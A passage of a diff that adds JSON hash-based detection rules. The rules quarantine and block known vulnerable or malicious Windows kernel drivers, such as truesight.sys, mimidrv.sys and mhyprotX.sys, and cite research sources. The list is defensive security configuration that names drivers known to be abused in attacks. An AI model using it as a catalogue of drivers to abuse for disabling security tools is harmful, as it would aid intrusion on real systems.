+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142344Z",
+  "creation_date": "2026-03-23T11:45:31.142346Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142351Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f6e1d4f8e3d0fe8bc2a087f65a4f6fc26b90e98eb2356cd56a7364f9108604d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "900bb33c-f029-5a8d-bc71-476abe9820fe",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143131Z",
+  "creation_date": "2026-03-23T11:45:32.143133Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143139Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "48dc7fd16aacdc8792f8bad1b1f7ca9d675ddac7767e957ea8c4227150d64e2d",
+  "comment": "Vulnerable Kernel Driver (aka echo_driver.sys) [https://www.loldrivers.io/drivers/afb8bb46-1d13-407d-9866-1daa7c82ca63/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "900eee8c-c13b-5f49-b500-b30e4d07a18b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499896Z",
+  "creation_date": "2026-03-23T11:45:31.499899Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499908Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f8fe6b40e491ea41c0e05145db2d7b159d8f493fa24418ef41d0e471667a076f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9011eec4-ca53-59f8-a0e8-6951f6dc1939",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157431Z",
+  "creation_date": "2026-03-23T11:45:31.157433Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157442Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d5951534de51c39aefffaa4239b3da079dac96326fd0422e59edc6af0f00eada",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "901f2e46-bf0f-546d-b711-b5dc8a429014",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830511Z",
+  "creation_date": "2026-03-23T11:45:30.830513Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830518Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0c8caac32c31682d4732f78a47609b2069b65b3e73930106656f9b1d22845d08",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9021781b-66a2-52d9-8676-23120adc3bd1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605358Z",
+  "creation_date": "2026-03-23T11:45:29.605360Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605366Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad556300b1417c4d78c5c17cc59d7c5e9360f76e49cfd0a4e9564fedf923c66d",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "902466c5-006c-59f3-85d3-6c9759492253",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826174Z",
+  "creation_date": "2026-03-23T11:45:31.826176Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826181Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7431b873a55857dc7a75419842e34a2e96f587182bf632d9d8db5fb497a41e19",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "90296bcc-22d0-5e92-86b0-835ecb16a717",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147431Z",
+  "creation_date": "2026-03-23T11:45:31.147433Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147438Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab25cd1f115a6f3114a1355f54d20917df029080ba6e854169916ea27958b435",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "903198a8-912c-5ab7-b782-9884e48da682",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465454Z",
+  "creation_date": "2026-03-23T11:45:30.465457Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465466Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e4b2c0aa28aac5e197312a061b05363e2e0387338b28b23272b5b6659d29b1d8",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "90326a85-738a-5bd8-8800-287ddca8676a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832514Z",
+  "creation_date": "2026-03-23T11:45:30.832516Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832522Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e133d6ac51c2d412f49c73184a9069f2a5cbe78425857d78b06f88abd1ced25f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9035ada6-17ed-5742-8779-aabb9bc12ab4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827533Z",
+  "creation_date": "2026-03-23T11:45:31.827535Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827540Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "39cc907dbc2bc08254ef115b2397aee842621201821312e5b7198e27e830b9d0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "903eb15a-10a3-5fa3-b3e5-4c61c8ff2b98",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479143Z",
+  "creation_date": "2026-03-23T11:45:31.479146Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479155Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f3f2c7e511a82c968dc61726d94ef2d902baf3a36174651c2d4d2ebec8b4efc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "904471d3-657c-5b12-a9c0-530b60fd5686",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143945Z",
+  "creation_date": "2026-03-23T11:45:31.143953Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143958Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3c64fa4836d5ec14aa962edbb7fcb96d20b9b69e344ae9e93d7f531f9556c79d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "904b5926-e363-56bf-be2e-dab0df354e76",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973392Z",
+  "creation_date": "2026-03-23T11:45:29.973394Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973401Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "99ddeba6bcdc79e52e3ff8afc63dbe4b299161cf0f5558a2d7630c2a18daf2c6",
+  "comment": "Voicemod Sociedad Limitada vulnerable driver (aka vmdrv.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "904fa457-6cfe-5221-ba7e-655c5f9d0dd9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464735Z",
+  "creation_date": "2026-03-23T11:45:30.464738Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464746Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ca5d47d076e99c312578ef6499e1fa7b9db88551cfc0f138da11105aca7c5e1",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "90538aef-b31d-561c-a8ac-9567c83886c9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811116Z",
+  "creation_date": "2026-03-23T11:45:31.811118Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811124Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "96476a61d507d601964c5eb173933056925231126c3358e9a74a577b3bd0c171",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "905608ce-76f4-522a-a972-4635ea347b33",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605192Z",
+  "creation_date": "2026-03-23T11:45:29.605194Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605199Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f5f13feced4d8b332cadb0a77dcc36c9788a119dc16295bbdcd2c225ae326299",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "905aa587-6b07-5b27-b4e1-e42f4cee57ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826866Z",
+  "creation_date": "2026-03-23T11:45:31.826937Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826956Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "234037a78f11e067a0abafd8d871332ded2a413e58fa9ad551b86b36c3aa4585",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "905ae96f-f596-5e9c-a8a9-87f4f1fb5a5f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.612074Z",
+  "creation_date": "2026-03-23T11:45:29.612076Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.612082Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "faa37602095f25135312f87ed7adb607ffa5e9b2931b58d00f7376ed0c6ec69a",
+  "comment": "Genshin Impact vulnerable driver (aka mhyprotX.sys) [https://www.trendmicro.com/en_us/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9068a806-2098-5670-b68a-91aab79f067d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499721Z",
+  "creation_date": "2026-03-23T11:45:31.499724Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499733Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9e17479d6e6ab766302ac95d2632b5f6a271a0a99df6286a31d08c21d77493f2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "906ca3c6-2737-56e0-b168-8e5194af30b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.152084Z",
+  "creation_date": "2026-03-23T11:45:31.152087Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.152095Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5d3ef2066d3d22ce97f1fb3b39f5081acd1c34eab033ff139d80e95dab636e50",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "90768535-f58a-58d7-bfab-56c5adda1e02",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479078Z",
+  "creation_date": "2026-03-23T11:45:31.479082Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.479092Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2f5938048e69ddddc2a30e1cc9b18e898fae74f119e9dfde73c417c96b912f42",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "907a5e99-c5e3-511c-89f5-fd4f7d3ef5a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
